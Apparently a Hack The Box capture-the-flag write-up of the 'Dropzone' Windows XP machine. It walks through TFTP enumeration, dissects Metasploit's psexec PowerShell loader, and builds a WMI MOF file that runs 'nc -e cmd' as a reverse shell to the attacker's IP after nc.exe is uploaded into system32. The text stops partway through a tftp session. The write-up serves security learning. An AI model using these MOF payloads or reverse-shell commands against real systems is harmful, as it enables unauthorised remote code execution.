Ech0 - 21 / 12 / 2020

Dropzone Writeup

Introduction :



Dropzone is a hard windows box released back in May 2018.

Part 1 : Initial Enumeration



As always we begin our Enumeration using Nmap to enumerate opened ports.
We will be using the flags -sT for tcp ports and -sU to for udp ports.


[ 10.10.14.6/23 ] [ /dev/pts/16 ] [~]
→ sudo nmap -vvv -sTU -p- 10.10.10.90 --max-retries 0 -Pn --min-rate=500 | grep Discovered
[sudo] password for nothing:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Discovered open port 69/udp on 10.10.10.90

Once we know which ports are opened, we enumerate the ones we want with -p, using the flags -sC for default scripts, and -sV to enumerate versions.


[ 10.10.14.6/23 ] [ /dev/pts/19 ] [~]
→ sudo nmap -sU -p69 -sCV -Pn 10.10.10.90
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-21 09:45 CET
Nmap scan report for 10.10.10.90
Host is up (0.033s latency).

PORT   STATE SERVICE VERSION
69/udp open  tftp    SolarWinds Free tftpd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds

Part 2 : Getting User Access



So we know that we have tftp port opened, now let's enumerate it:


[ 10.10.14.6/23 ] [ /dev/pts/2 ] [~]
→ tftp 10.10.10.90
tftp> get /windows
Error code 1: Access to the path 'C:\windows' is denied.
tftp> get /%USERNAME%
Error code 1: Could not find file 'C:\%USERNAME%'.
tftp> get /windows/system32/config/SAM
Error code 1: The process cannot access the file 'C:\windows\system32\config\SAM' because it is being used by another process.
tftp> get /Documents and Settings
tftp: Documents: Is a directory
Error code 1: Could not find file 'C:\and'.
Error code 1: Could not find file 'C:\Settings'.
tftp>

tftp> get 'Documents and Settings'
Error code 1: Could not find file 'C:\'Documents'.
Error code 1: Could not find file 'C:\and'.
Error code 1: Could not find file 'C:\Settings''.
tftp> get "Documents and Settings"
Error code 0: Bailing out to bad characters in filename: '"Documents'.
Error code 1: Could not find file 'C:\and'.
Error code 0: Bailing out to bad characters in filename: 'Settings"'.
tftp>


Here we see a few things, first of all this is a windows machine because the first error tells us that the path C:\Windows exists but it's access is denied. Second of all, it looks like we cannot access the Documents and settings folder even when we wrap it in '' or "". This is because on older windows machines, there could not be long filenames, therefore the folder names would be 6 characters long and the number of whatever folder would match these first 8 letters like so:


tftp> get Docume~1
Error code 1: Access to the path 'C:\Documents and Settings' is denied.
tftp> get Docume~1/Admini~1
Error code 1: Access to the path 'C:\Documents and Settings\Administrator' is denied.
tftp>

As you can see, we write the first 6 characters and then ~1 to find the first folder that matches these first 6 characters, and we found the directories we wanted. now let's check if this is a 32bit or a 64bit machine by checking if the Program Files x86 folder exists (which would mean that the Program Files folder is the 64bit folder):


tftp> get /Progra~1
Error code 1: Access to the path 'C:\Program Files' is denied.
tftp> get /Progra~2
Error code 1: Could not find file 'C:\Progra~2'.
tftp>

And here we can see that there is only the Program Files folder, therefore it is safe to assume that this is a 32bit windows machine, and most probably windows XP. From here, we're going to use metasploit's psexec module:


[ 10.10.14.6/23 ] [ /dev/pts/2 ] [~/_HTB/Dropzone]
→ locate psexec | grep metasploit
/usr/share/doc/metasploit-framework/modules/exploit/windows/smb/ms17_010_psexec.md
/usr/share/doc/metasploit-framework/modules/exploit/windows/smb/psexec.md
/usr/share/metasploit-framework/lib/msf/core/exploit/remote/smb/client/psexec.rb
/usr/share/metasploit-framework/lib/msf/core/exploit/remote/smb/client/psexec_ms17_010.rb
/usr/share/metasploit-framework/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb
/usr/share/metasploit-framework/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb
/usr/share/metasploit-framework/modules/exploits/windows/local/current_user_psexec.rb
/usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_psexec.rb
/usr/share/metasploit-framework/modules/exploits/windows/smb/psexec.rb
/usr/share/metasploit-framework/tools/exploit/psexec.rb

[ 10.10.14.6/23 ] [ /dev/pts/2 ] [~/_HTB/Dropzone]
→ cp /usr/share/metasploit-framework/modules/exploits/windows/smb/psexec.rb .

[ 10.10.14.6/23 ] [ /dev/pts/2 ] [~/_HTB/Dropzone]
→ vim psexec.rb

And let's inspect what it does:

Here we're going to check the powershell part because older windows machines didn't have powershell, which is why most people stepped into a rabbithole by not inspecting what the exploit did exactly, so we're going to check what that execute_powershell_payload function does by looking at where it is actually defined:


[ 10.10.14.6/23 ] [ /dev/pts/18 ] [~/_HTB/Dropzone]
→ locate psexec | grep metasploit | xargs grep execute_powershell
/usr/share/metasploit-framework/lib/msf/core/exploit/remote/smb/client/psexec.rb:  def execute_powershell_payload
/usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_psexec.rb:        execute_powershell_payload
/usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_psexec.rb:      execute_powershell_payload
/usr/share/metasploit-framework/modules/exploits/windows/smb/psexec.rb:        execute_powershell_payload
/usr/share/metasploit-framework/modules/exploits/windows/smb/psexec.rb:      execute_powershell_payload

So here we see the function is defined in the first result:


[ 10.10.14.6/23 ] [ /dev/pts/18 ] [~/_HTB/Dropzone]
→ cp /usr/share/metasploit-framework/lib/msf/core/exploit/remote/smb/client/psexec.rb .

[ 10.10.14.6/23 ] [ /dev/pts/18 ] [~/_HTB/Dropzone]
→ nano psexec.rb

And here it is, so first of all this function executes cmd_psh_payload() which takes in 2 arguements, payload.encoded and the architecture (x86 or x64):


  def execute_powershell_payload
    ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME']
    command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)

    if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
      print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
    end

    # Execute the powershell command
    print_status("Executing the payload...")
    begin
      psexec(command)
    rescue StandardError => exec_command_error
      fail_with(Msf::Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
    end
  end

Now let's generate this cmd_psh_payload() from metasploit's interactive ruby (which is like a debugger feature)



[ 10.10.14.6/23 ] [ /dev/pts/2 ] [~/_HTB/Dropzone]
→ msfconsole

     ,           ,
    /             \
   ((__---,,,---__))
      (_) O O (_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||


       =[ metasploit v6.0.22-dev                          ]
+ -- --=[ 2086 exploits - 1126 auxiliary - 354 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Metasploit can be configured at startup, see
msfconsole --help to learn more

msf6 > search psexec

Matching Modules
================

   #   Name                                         Disclosure Date  Rank       Check  Description
   -   ----                                         ---------------  ----       -----  -----------
   0   auxiliary/admin/smb/ms17_010_command         2017-03-14       normal     No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   1   auxiliary/admin/smb/psexec_ntdsgrab                           normal     No     PsExec NTDS.dit And SYSTEM Hive Download Utility
   2   auxiliary/scanner/smb/impacket/dcomexec      2018-03-19       normal     No     DCOM Exec
   3   auxiliary/scanner/smb/impacket/wmiexec       2018-03-19       normal     No     WMI Exec
   4   auxiliary/scanner/smb/psexec_loggedin_users                   normal     No     Microsoft Windows Authenticated Logged In Users Enumeration
   5   encoder/x86/service                                           manual     No     Register Service
   6   exploit/windows/local/current_user_psexec    1999-01-01       excellent  No     PsExec via Current User Token
   7   exploit/windows/local/wmi                    1999-01-01       excellent  No     Windows Management Instrumentation (WMI) Remote Command Execution
   8   exploit/windows/smb/ms17_010_psexec          2017-03-14       normal     Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   9   exploit/windows/smb/psexec                   1999-01-01       manual     No     Microsoft Windows Authenticated User Code Execution
   10  exploit/windows/smb/webexec                  2018-10-24       manual     No     WebExec Authenticated User Code Execution


Interact with a module by name or index. For example info 10, use 10 or use exploit/windows/smb/webexec

msf6 > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOSTS                                 yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SHARE                                  no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass                                no        The password for the specified username
   SMBUser                                no        The username to authenticate as


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.0.18     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(windows/smb/psexec) > irb
[*] Starting IRB shell...
[*] You are in exploit/windows/smb/psexec

So here we are in interactive ruby



msf6 exploit(windows/smb/psexec) > irb
[*] Starting IRB shell...
[*] You are in exploit/windows/smb/psexec

>>

>> cmd_psh_payload("IppsecRocks","x86")
=> "%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -noni -c \"if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIABRp4F8CA7VW+2vbSBD+OYH8D0sRaAWKcJNSaCBwtlO3aWPHrfK6uuLYSCN709Wuu7tKo/b6v9+sHolDnbukcMLgfczzm29GykuZWq4kWbyPY/Jja3NjyjQrCPUyNSwnIfFSNTp5H2xs4JUnpLgg+4TO+svlgSoYl8ne3rDUGqRt9tEbsH1joLgUHAwNyN/kfAEato8vryC15Afx/oreCHXJRCtWDVm6ALLdl5m7O1IpcwFF8VJwS/3Pn/1gtv08iV5/LZkw1I8rY6GIMiH8gPwMnMOTagnUH/NUK6NyG51zubsTnUrDcpigtWsYg12ozPgBZoE/DbbUktT5OAPNNfVxOdUq7WeZBmP8kMyc6VmS/EFnrd+PpbS8gOhQWtBqGYO+5imY6C2TmYCPkCeoFVvN5TwJAhS7Vl+AerIUIiRPMUMn8K1D7bFKdFUJpaZWByHWck2eY5WVAhpNf02gTf0DfG45gOD93Nrc2sw7ztjs6yplcLUxq9eA8dGpMrwW2ye9kIzRE7NKV7j1TnQJQXKLLvHmFx9Y+LD+804YRQt99QGPZmeKZwmqtCX1qnfu9GFiHkDOJRxUkhU87bhH16EMuYA6wagTm2BI1G8vIDsAAXNmHW6u2L+ovS64vdUdlFxkoPspVspgVFjE4H4wTSmofyjHUCBCzR7Z5+XIeOikW5ZXnXe3RyF/KJgxIZmW2HJpSGJgArKQ9KXh7VW/tKpe+nfhjkthecqM7cwlQYNi622opLG6TLFkmPlJvISUM+GACMlbnsGgivm88+qvhWHIhMA2QEvXWAY8cenH1hFBY4B10YMoBntYLAUUKFN3/kiwOfZ5S/aaOWwOmX8/vo7KDW8dDh0AK9FhcWOhbEjOuLY4Phymjj+/53xlcGAYQw1tEWjXGLNBZR2fPVOeOjK2kNQAaIvJj7QqBszAyxfNhKDP4ovBt3Tn7Oq0eHXFdsf7z5wj9OR9T4/+XLHxUOuPmTYLJtA29nRXypHSo7ZHp4o7DUrr+f4FtASBsxGnZ4dJXwiVuinhuhkHVDM23BQ7xeXuztpVQG4Fg7vh0R3t7X3CIBFkxCE6Ajm3i7B3s9vr4Rzo3bzoYY6Pz2uolhV1lkI3RmpcWsuithw45L3FRfH/otWWe4F/2X+gdXf2L7ePQrAXNvn+cnz/4El4Pjnzc8YtSsbIVwHNqFwLQMuMlXcJFgXrnreP+xY4Lu32BN8wW5v/APpkNmh5CAAA''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);\""

And here we have generated our powershell payload containing the "IppsecRocks" command, for the "x86" architecture. So first of all it compresses as gzip and base64 encodes our payload :

Now we copy that base64 string and echo it out of it's base64 encryption to a file which we know is gzip:


[ 10.10.14.6/23 ] [ /dev/pts/19 ] [~/_HTB/Dropzone]
→ echo 'H4sIABRp4F8CA7VW+2vbSBD+OYH8D0sRaAWKcJNSaCBwtlO3aWPHrfK6uuLYSCN709Wuu7tKo/b6v9+sHolDnbukcMLgfczzm29GykuZWq4kWbyPY/Jja3NjyjQrCPUyNSwnIfFSNTp5H2xs4JUnpLgg+4TO+svlgSoYl8ne3rDUGqRt9tEbsH1joLgUHAwNyN/kfAEato8vryC15Afx/oreCHXJRCtWDVm6ALLdl5m7O1IpcwFF8VJwS/3Pn/1gtv08iV5/LZkw1I8rY6GIMiH8gPwMnMOTagnUH/NUK6NyG51zubsTnUrDcpigtWsYg12ozPgBZoE/DbbUktT5OAPNNfVxOdUq7WeZBmP8kMyc6VmS/EFnrd+PpbS8gOhQWtBqGYO+5imY6C2TmYCPkCeoFVvN5TwJAhS7Vl+AerIUIiRPMUMn8K1D7bFKdFUJpaZWByHWck2eY5WVAhpNf02gTf0DfG45gOD93Nrc2sw7ztjs6yplcLUxq9eA8dGpMrwW2ye9kIzRE7NKV7j1TnQJQXKLLvHmFx9Y+LD+804YRQt99QGPZmeKZwmqtCX1qnfu9GFiHkDOJRxUkhU87bhH16EMuYA6wagTm2BI1G8vIDsAAXNmHW6u2L+ovS64vdUdlFxkoPspVspgVFjE4H4wTSmofyjHUCBCzR7Z5+XIeOikW5ZXnXe3RyF/KJgxIZmW2HJpSGJgArKQ9KXh7VW/tKpe+nfhjkthecqM7cwlQYNi622opLG6TLFkmPlJvISUM+GACMlbnsGgivm88+qvhWHIhMA2QEvXWAY8cenH1hFBY4B10YMoBntYLAUUKFN3/kiwOfZ5S/aaOWwOmX8/vo7KDW8dDh0AK9FhcWOhbEjOuLY4Phymjj+/53xlcGAYQw1tEWjXGLNBZR2fPVOeOjK2kNQAaIvJj7QqBszAyxfNhKDP4ovBt3Tn7Oq0eHXFdsf7z5wj9OR9T4/+XLHxUOuPmTYLJtA29nRXypHSo7ZHp4o7DUrr+f4FtASBsxGnZ4dJXwiVuinhuhkHVDM23BQ7xeXuztpVQG4Fg7vh0R3t7X3CIBFkxCE6Ajm3i7B3s9vr4Rzo3bzoYY6Pz2uolhV1lkI3RmpcWsuithw45L3FRfH/otWWe4F/2X+gdXf2L7ePQrAXNvn+cnz/4El4Pjnzc8YtSsbIVwHNqFwLQMuMlXcJFgXrnreP+xY4Lu32BN8wW5v/APpkNmh5CAAA' | base64 -d > payload.z

[ 10.10.14.6/23 ] [ /dev/pts/19 ] [~/_HTB/Dropzone]
→ file payload.z
payload.z: gzip compressed data, last modified: Mon Dec 21 09:21:24 2020, max compression, from Unix, original size modulo 2^32 2169

[ 10.10.14.6/23 ] [ /dev/pts/19 ] [~/_HTB/Dropzone]
→ zcat payload.z > payload.powershell

[ 10.10.14.6/23 ] [ /dev/pts/19 ] [~/_HTB/Dropzone]
→ zcat payload.z
function hKSS {
        Param ($doCuN, $coFTK)
        $lnlX = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

        return $lnlX.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($lnlX.GetMethod('GetModuleHandle')).Invoke($null, @($doCuN)))), $coFTK))
}

function tdq {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $gXQa,
                [Parameter(Position = 1)] [Type] $mrjQ = [Void]
        )

        $yJ = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $yJ.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $gXQa).SetImplementationFlags('Runtime, Managed')
        $yJ.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $mrjQ, $gXQa).SetImplementationFlags('Runtime, Managed')

        return $yJ.CreateType()
}

[Byte[]]$suU = [System.Convert]::FromBase64String("SXBwc2VjUm9ja3M=")

$zcLY = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((hKSS kernel32.dll VirtualAlloc), (tdq @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $suU.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($suU, 0, $zcLY, $suU.length)

$hXm = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((hKSS kernel32.dll CreateThread), (tdq @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$zcLY,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((hKSS kernel32.dll WaitForSingleObject), (tdq @([IntPtr], [Int32]))).Invoke($hXm,0xffffffff) | Out-Null

So here we know what's the powershell payload metasploit uses and in this there's yet another base64 which is the command we wanted to execute:


[ 10.10.14.6/23 ] [ /dev/pts/19 ] [~/_HTB/Dropzone]
→ echo "SXBwc2VjUm9ja3M=" | base64 -d
IppsecRocks

So here we see everything metasploit does just to get that powershell command in. But again, this is a x86 windows machine, we don't have powershell to work with. The next option psexec would try is the SMB file upload which does not help us either because from our previous enumeration, the smb ports are not opened. What was required to do in this box, was to check each option psexec.rb does one by one until you stumble on the correct one, which was the MOF one defined as the mof_upload function:


 def mof_upload(smb_share)
    share = "\\\\#{datastore['RHOST']}\\ADMIN$"
    filename = "#{Rex::Text.rand_text_alpha(8)}.exe"

    # payload as exe
    print_status("Trying wbemexec...")
    print_status("Uploading Payload...")
    if smb_share != 'ADMIN$'
      print_error('Wbem will only work with ADMIN$ share')
      return
    end
    simple.connect(share)
    exe = generate_payload_exe
    fd = smb_open("\\system32\\#{filename}", 'rwct', write: true)
    fd << exe
    fd.close
    print_status("Created %SystemRoot%\\system32\\#{filename}")

    # mof to cause execution of above
    mofname = Rex::Text.rand_text_alphanumeric(14) + ".MOF"
    mof = generate_mof(mofname, filename)
    print_status("Uploading MOF...")
    fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct', write: true)
    fd << mof
    fd.close
    print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")

    # Disconnect from the ADMIN$
    simple.disconnect(share)
  end

Here the smbfunction will try wbemexec , but it will work only if the smb share is ADMIN$ otherwise wbem wouldn't work. Then it connects, generates an exe payload, only to drop that meterpreter file into system32. Then lastly it uses the generate_mof() function and then uploads the generated payload into \\system32\\wbem\\mof\\ and then it just disconnects. Which means, that you get remote code execution just by dropping a file into that folder. now let's check generate_mof() from interactive ruby mode:



msf6 exploit(windows/smb/psexec) > irb
[*] Starting IRB shell...
[*] You are in exploit/windows/smb/psexec

>> generate_mof("IppsecRocks","AndIsCool")
=> "#pragma namespace(\"\\\\\\\\.\\\\root\\\\cimv2\")\nclass MyClass773\n{\n  \t[key] string Name;\n};\nclass ActiveScriptEventConsumer : __EventConsumer\n{\n \t[key] string Name;\n  \t[not_null] string ScriptingEngine;\n  \tstring ScriptFileName;\n  \t[template] string ScriptText;\n  uint32 KillTimeout;\n};\ninstance of __Win32Provider as $P\n{\n    Name  = \"ActiveScriptEventConsumer\";\n    CLSID = \"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}\";\n    PerUserInitialization = TRUE;\n};\ninstance of __EventConsumerProviderRegistration\n{\n  Provider = $P;\n  ConsumerClassNames = {\"ActiveScriptEventConsumer\"};\n};\nInstance of ActiveScriptEventConsumer as $cons\n{\n  Name = \"ASEC\";\n  ScriptingEngine = \"JScript\";\n  ScriptText = \"\\ntry {var s = new ActiveXObject(\\\"Wscript.Shell\\\");\\ns.Run(\\\"AndIsCool\\\");} catch (err) {};\\nsv = GetObject(\\\"winmgmts:root\\\\\\\\cimv2\\\");try {sv.Delete(\\\"MyClass773\\\");} catch (err) {};try {sv.Delete(\\\"__EventFilter.Name='instfilt'\\\");} catch (err) {};try {sv.Delete(\\\"ActiveScriptEventConsumer.Name='ASEC'\\\");} catch(err) {};\";\n\n};\nInstance of ActiveScriptEventConsumer as $cons2\n{\n  Name = \"qndASEC\";\n  ScriptingEngine = \"JScript\";\n  ScriptText = \"\\nvar objfs = new ActiveXObject(\\\"Scripting.FileSystemObject\\\");\\ntry {var f1 = objfs.GetFile(\\\"wbem\\\\\\\\mof\\\\\\\\good\\\\\\\\IppsecRocks\\\");\\nf1.Delete(true);} catch(err) {};\\ntry {\\nvar f2 = objfs.GetFile(\\\"AndIsCool\\\");\\nf2.Delete(true);\\nvar s = GetObject(\\\"winmgmts:root\\\\\\\\cimv2\\\");s.Delete(\\\"__EventFilter.Name='qndfilt'\\\");s.Delete(\\\"ActiveScriptEventConsumer.Name='qndASEC'\\\");\\n} catch(err) {};\";\n};\ninstance of __EventFilter as $Filt\n{\n  Name = \"instfilt\";\n  Query = \"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \\\"MyClass773\\\"\";\n  QueryLanguage = \"WQL\";\n};\ninstance of __EventFilter as $Filt2\n{\n  Name = \"qndfilt\";\n  Query = \"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \\\"Win32_Process\\\" AND TargetInstance.Name = \\\"AndIsCool\\\"\";\n  QueryLanguage = \"WQL\";\n\n};\ninstance of __FilterToConsumerBinding as $bind\n{\n  Consumer = $cons;\n  Filter = $Filt;\n};\ninstance of __FilterToConsumerBinding as $bind2\n{\n  Consumer = $cons2;\n  Filter = $Filt2;\n};\ninstance of MyClass773 as $MyClass\n{\n  Name = \"ClassConsumer\";\n};\n"

Now from here we're going to print out the generate_mof() function by using ruby's puts (print) function:


>> puts generate_mof("IppsecRocks","AndIsCool")
#pragma namespace("\\\\.\\root\\cimv2")
class MyClass40351
{
        [key] string Name;
};
class ActiveScriptEventConsumer : __EventConsumer
{
        [key] string Name;
        [not_null] string ScriptingEngine;
        string ScriptFileName;
        [template] string ScriptText;
  uint32 KillTimeout;
};
instance of __Win32Provider as $P
{
    Name  = "ActiveScriptEventConsumer";
    CLSID = "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
    PerUserInitialization = TRUE;
};
instance of __EventConsumerProviderRegistration
{
  Provider = $P;
  ConsumerClassNames = {"ActiveScriptEventConsumer"};
};
Instance of ActiveScriptEventConsumer as $cons
{
  Name = "ASEC";
  ScriptingEngine = "JScript";
  ScriptText = "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"AndIsCool\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass40351\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";

};
Instance of ActiveScriptEventConsumer as $cons2
{
  Name = "qndASEC";
  ScriptingEngine = "JScript";
  ScriptText = "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\IppsecRocks\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"AndIsCool\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
};
instance of __EventFilter as $Filt
{
  Name = "instfilt";
  Query = "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass40351\"";
  QueryLanguage = "WQL";
};
instance of __EventFilter as $Filt2
{
  Name = "qndfilt";
  Query = "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"AndIsCool\"";
  QueryLanguage = "WQL";

};
instance of __FilterToConsumerBinding as $bind
{
  Consumer = $cons;
  Filter = $Filt;
};
instance of __FilterToConsumerBinding as $bind2
{
  Consumer = $cons2;
  Filter = $Filt2;
};
instance of MyClass40351 as $MyClass
{
  Name = "ClassConsumer";
};
=> nil
>>

Now i'll copy this entire output into a file to edit:


[ 10.10.14.6/23 ] [ /dev/pts/19 ] [~/_HTB/Dropzone]
→ mkdir psexec

[ 10.10.14.6/23 ] [ /dev/pts/19 ] [~/_HTB/Dropzone]
→ cd psexec

[ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec]
→ vim generated_mof

Now from here, we see that our file will be located in \\\"wbem\\\\\\\\mof\\\\\\\\good\\\\\\\\IppsecRocks\\\ and the command we're running is ns.Run(\"AndIsCool\") which is a javascript command. Essentially MOF works by compiling syntax like this into the wbem database to execute said code. The idea here is to create a "FilterToConsumerBinding" to tie together a "EventFilter" and a "ActiveScriptEventConsumer" so that the FilterToConsumerBinding detects the Filtered Event (which could simply be something like watch when this file appears in the wbem database), it will launch the Script

(for more information about MOF check out these links: pop pop ret mof and BlackHat WMI talk from 2015 by Matt Graeber)

Now let's trim the useless parts out of our generated mof file:


#pragma namespace("\\\\.\\root\\cimv2")

class MyClass40351
{
        [key] string Name;
};

class ActiveScriptEventConsumer : __EventConsumer
{
        [key] string Name;
        [not_null] string ScriptingEngine;
        string ScriptFileName;
        [template] string ScriptText;
  uint32 KillTimeout;
};

instance of __Win32Provider as $P
{
    Name  = "ActiveScriptEventConsumer";
    CLSID = "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
    PerUserInitialization = TRUE;
};


instance of __EventConsumerProviderRegistration
{
  Provider = $P;
  ConsumerClassNames = {"ActiveScriptEventConsumer"};
};

Instance of ActiveScriptEventConsumer as $cons
{
  Name = "ASEC";
  ScriptingEngine = "JScript";
  ScriptText = "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"AndIsCool\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass40351\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";

};

instance of __EventFilter as $Filt
{
  Name = "instfilt";
  Query = "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass40351\"";
  QueryLanguage = "WQL";
};

instance of __FilterToConsumerBinding as $bind
{
  Consumer = $cons;
  Filter = $Filt;
};

instance of MyClass40351 as $MyClass
{
  Name = "ClassConsumer";
};

and from here, we don't want to run the command "AndIsCool" but we want the command "nc -e cmd 10.10.14.6 9002" so from inside vim you can run the following : :%s/AndIsCool/nc -e cmd 10.10.14.6 9002/gi in order to replace the AndIsCool pattern matched by regex to whatever other string we want.

Now basically what this does is that our EventFilter will detect the creation of Class 27736, and when it gets created, it will launch the code we want (the netcat command)



[ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec]
→ ls -l
total 4
-rw-r--r-- 1 nothing nothing 1415 Dec 21 11:10 generated_mof

[ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec]
→ locate nc.exe
/usr/lib/mono/4.5/cert-sync.exe
/usr/share/windows-resources/binaries/nc.exe

[ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec]
→ cp /usr/share/windows-resources/binaries/nc.exe .

[ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec]
→ ls -l
total 64
-rw-r--r-- 1 nothing nothing  1415 Dec 21 11:10 generated_mof
-rwxr-xr-x 1 nothing nothing 59392 Dec 21 11:10 nc.exe

[ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec]
→ file nc.exe
nc.exe: PE32 executable (console) Intel 80386, for MS Windows

So now we have the correct 32bit nc.exe file we want, now let's upload it via tftp:


[ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec]
→ tftp 10.10.10.90
tftp> mode binary
tftp> put nc.exe /windows/system32/nc.exe
Sent 59392 bytes in 4.3 seconds
tftp> quit

We switched from ascii to binary mode to upload our nc file properly:


[ 10.10.14.6/23 ] [ /dev/pts/16 ] [_HTB/Dropzone/psexec]
→ l
total 72K
drwxr-xr-x 2 nothing nothing 4.0K Dec 21 11:10 .
drwxr-xr-x 3 nothing nothing 4.0K Dec 21 10:48 ..
-rw-r--r-- 1 nothing nothing 1.4K Dec 21 11:10 generated_mof
-rwxr-xr-x 1 nothing nothing  58K Dec 21 11:10 nc.exe

[ 10.10.14.6/23 ] [ /dev/pts/16 ] [_HTB/Dropzone/psexec]
→ tftp 10.10.10.90
